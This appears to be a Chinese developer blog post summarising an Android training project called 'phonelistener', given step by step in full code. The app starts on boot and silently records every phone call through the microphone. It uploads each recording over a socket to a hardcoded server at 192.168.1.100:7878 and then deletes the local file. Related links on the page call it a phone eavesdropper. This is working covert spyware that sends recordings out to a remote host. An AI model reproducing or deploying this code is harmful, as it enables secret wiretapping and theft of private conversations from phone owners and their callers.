`
zhengjj_2009
  • 浏览: 153675 次
  • 性别: Icon_minigender_1
  • 来自: 北京
社区版块
存档分类
最新评论

项目的总结1、phonelistener

 
阅读更多

基本步骤:

1、用BootBroadcastReceiver监听开机启动的广播、同时配置PhoneService的服务

      >>>> 在manifest中完成配置

 

2、在BootBroadcastReceiver的onReceive()中调用startService()启动服务

     >>>>在BootBroadcastReceiver的onReceive()中完成

 

3、在PhoneService的onCreate()设置PhoneStateListener的功能

      >>>>在PhoneService的onCreate()完成

 

4、继承父类PhoneStateListener,编写PhoneListener的基本框架,在onCallStateChanged()实现电话录音的功能

     >>>> 在onCallStateChanged()完成

 

5、电话录音结束后,启动新的线程实现文件的上传,在uploadFile()中完成

 

==================================================================

具体实现的代码

1、用BootBroadcastReceiver监听开机启动的广播、同时配置PhoneService的服务

>>>> 在manifest中完成配置

<application..... >
         <service android:name=".PhoneService"/>
          <receiver android:name=".BootBroadcastReceiver">
            <intent-filter >
                <action android:name="android.intent.action.BOOT_COMPLETED"/>
            </intent-filter>
        </receiver>
    </application>

2、在BootBroadcastReceiver的onReceive()中调用startService()启动服务

>>>>在BootBroadcastReceiver的onReceive()中完成

public void onReceive(Context context, Intent intent) {
  Intent service = new Intent(context, PhoneService.class);//显式意图
  context.startService(service);//Intent激活组件(Service)
 }

3、在PhoneService的onCreate()设置PhoneStateListener的功能

>>>>在PhoneService的onCreate()完成

public void onCreate() {
  super.onCreate();//父类的方法不能去掉,必须保留
  TelephonyManager telephonyManager = (TelephonyManager) getSystemService(Context.TELEPHONY_SERVICE);
  telephonyManager.listen(new PhoneListener(), PhoneStateListener.LISTEN_CALL_STATE);
 }

4、继承父类PhoneStateListener,编写PhoneListener的基本框架,在onCallStateChanged()实现电话录音的功能

>>>> 在onCallStateChanged()完成

private final class PhoneListener extends PhoneStateListener{
		private String incomingNumber;
		private File file;
		private MediaRecorder mediaRecorder;
		
		@Override
		public void onCallStateChanged(int state, String incomingNumber) {
			try {
				switch (state) {
				case TelephonyManager.CALL_STATE_RINGING://来电
					this.incomingNumber = incomingNumber;
					break;

				case TelephonyManager.CALL_STATE_OFFHOOK://接通电话
					file = new File(Environment.getExternalStorageDirectory(), incomingNumber+System.currentTimeMillis()+ ".3gp");

					mediaRecorder = new MediaRecorder();
					mediaRecorder.setAudioSource(MediaRecorder.AudioSource.MIC);
					mediaRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
					mediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
					mediaRecorder.setOutputFile(file.getAbsolutePath());
					mediaRecorder.prepare();
					mediaRecorder.start();//开始录音
					break;
					
				case TelephonyManager.CALL_STATE_IDLE://挂断电话后回归到空闲状态
					if(mediaRecorder != null){
						mediaRecorder.stop();
						mediaRecorder.release();
						mediaRecorder = null;
						uploadFile();
					}
					break;
				}
			} catch (Exception e) {
				e.printStackTrace();
			}
		}

 

5、电话录音结束后,启动新的线程实现文件的上传,在uploadFile()中完成

private void uploadFile() {
   new Thread(new Runnable() {    
    public void run() {
     try {
      if(file!=null && file.exists()){
       Socket socket = new Socket("192.168.1.100", 7878);
                OutputStream outStream = socket.getOutputStream();
                String head = "Content-Length="+ file.length() + ";filename="+ file.getName() + ";sourceid=\r\n";
                outStream.write(head.getBytes());
               
                PushbackInputStream inStream = new PushbackInputStream(socket.getInputStream()); 
       String response = StreamTool.readLine(inStream);
                String[] items = response.split(";");
       String position = items[1].substring(items[1].indexOf("=")+1);
       
       RandomAccessFile fileOutStream = new RandomAccessFile(file, "r");
       fileOutStream.seek(Integer.valueOf(position));
       byte[] buffer = new byte[1024];
       int len = -1;
       while( (len = fileOutStream.read(buffer)) != -1){
        outStream.write(buffer, 0, len);
       }
       fileOutStream.close();
       outStream.close();
                inStream.close();
                socket.close();
                file.delete();
                file = null;
               }
           } catch (Exception e) {                   
               e.printStackTrace();
           }
    }
   }).start();
  }  

分享到:
评论

相关推荐

    PhoneListener-master.zip

    完全自定义界面的来电秀demo,1.针对联系人独立设置来电壁纸,真正个性来电; 2.来电壁纸,自由添加,个性无限; 3.来电归属地显示,来电信息了如指掌; 3.丰富设置,细到来电信息字体大小,满足不同人群;

    PhoneListener

    电话监听器 执照 麻省理工学院执照 ... 特此免费授予获得此软件和相关文档文件(“软件”)副本的任何人无限制地处理软件的权利,包括但不限于使用,复制,修改,合并的权利,发布,分发,再许可和/或出售本软件的副本...

    传智播客的android开发源代码

    39_采用Service实现电话窃听器.avi 所在项目:phonelistener 40_建立能与访问者进行相互通信的本地服务.avi 所在项目:studentquery 41_使用AIDL实现进程通信.avi 所在项目:remoteService & remoteServiceClient 42...

    source.zip

    39_采用Service实现电话窃听器.avi 所在项目:phonelistener 40_建立能与访问者进行相互通信的本地服务.avi 所在项目:studentquery 41_使用AIDL实现进程通信.avi 所在项目:remoteService & remoteServiceClient 42...

    8天快速掌握Android教程源码

    39_采用Service实现电话窃听器.avi 所在项目:phonelistener 40_建立能与访问者进行相互通信的本地服务.avi 所在项目:studentquery 41_使用AIDL实现进程通信.avi 所在项目:remoteService & remoteServiceClient 42...

    phonelistener:[未维护] 此模块允许您的应用程序将侦听器注册到设备电话。 使用此监听器,您将能够知道电话何时接听电话、拨打电话等

    用法需要 tiapp.xml 上的模块: &lt; modules&gt; &lt; module xss=removed&gt;com.baboonmedia.phonelistener&lt;/ module&gt; &lt;/ modules&gt; 您还需要请求一些权限才能收听电话更改: &lt; manifest&gt; &lt; uses xss=removed&gt; &lt; uses-...

    安卓Android源码——pmmp.rar

    再来看看"pmmp",这个名字没有明确的Android系统组件对应,但有可能是某个特定项目的缩写,例如“Phone Management and Monitoring Platform”(电话管理和监控平台)。这个平台可能包括了对设备电话功能的高级控制...

    黎活明老师android视频原版代码(绝对原版)

    1. **新闻管理(newsmanage.zip)**:此部分可能涉及到Android中的数据存储,可能是SQLite数据库或者网络数据获取,用于实现新闻的增删查改功能。开发者可能会学习到如何设计数据库模型,使用SQL语句操作数据,以及...

    Activity、Bundle、请求码与结果码、Intent、广播、服务 (四)

    总结起来,Activity、Bundle、请求码与结果码、Intent、BroadcastReceiver和服务是Android开发中不可或缺的部分。理解并熟练掌握这些组件的工作原理和用法,能够帮助开发者构建出功能丰富且稳定的Android应用程序。...

    Android编程实现通话录音功能的方法

    1. 创建服务:创建一个服务,用于监听电话状态的变化。 2. 监听电话状态:使用TelephonyManager类来监听电话状态的变化。 3. 录音:当电话状态变化时,使用MediaRecorder类来录音。 4. 保存录音文件:将录音文件保存...

    Android如何帮助用户自动接听或者挂断来电

    这篇文章教你如何帮助用户自动接听或者挂断来电。当然并不是我原创的代码,我只不过是把stackoverflow上的一些代码整合了一下,做个代码的二传手。...&lt;receiver android:name=.incomingcall.PhoneListener&gt; &lt;ac

    Android中39采用Service实现电话监听器并将监听到的内容上传到服务器案例

    在Android开发中,服务(Service)是一种用于在后台执行长时间运行操作...这个案例中的"phonelistener"可能包含了具体的代码实现,供开发者参考和学习。通过阅读和理解这些代码,开发者可以更好地理解和实践这一功能。

Global site tag (gtag.js) - Google Analytics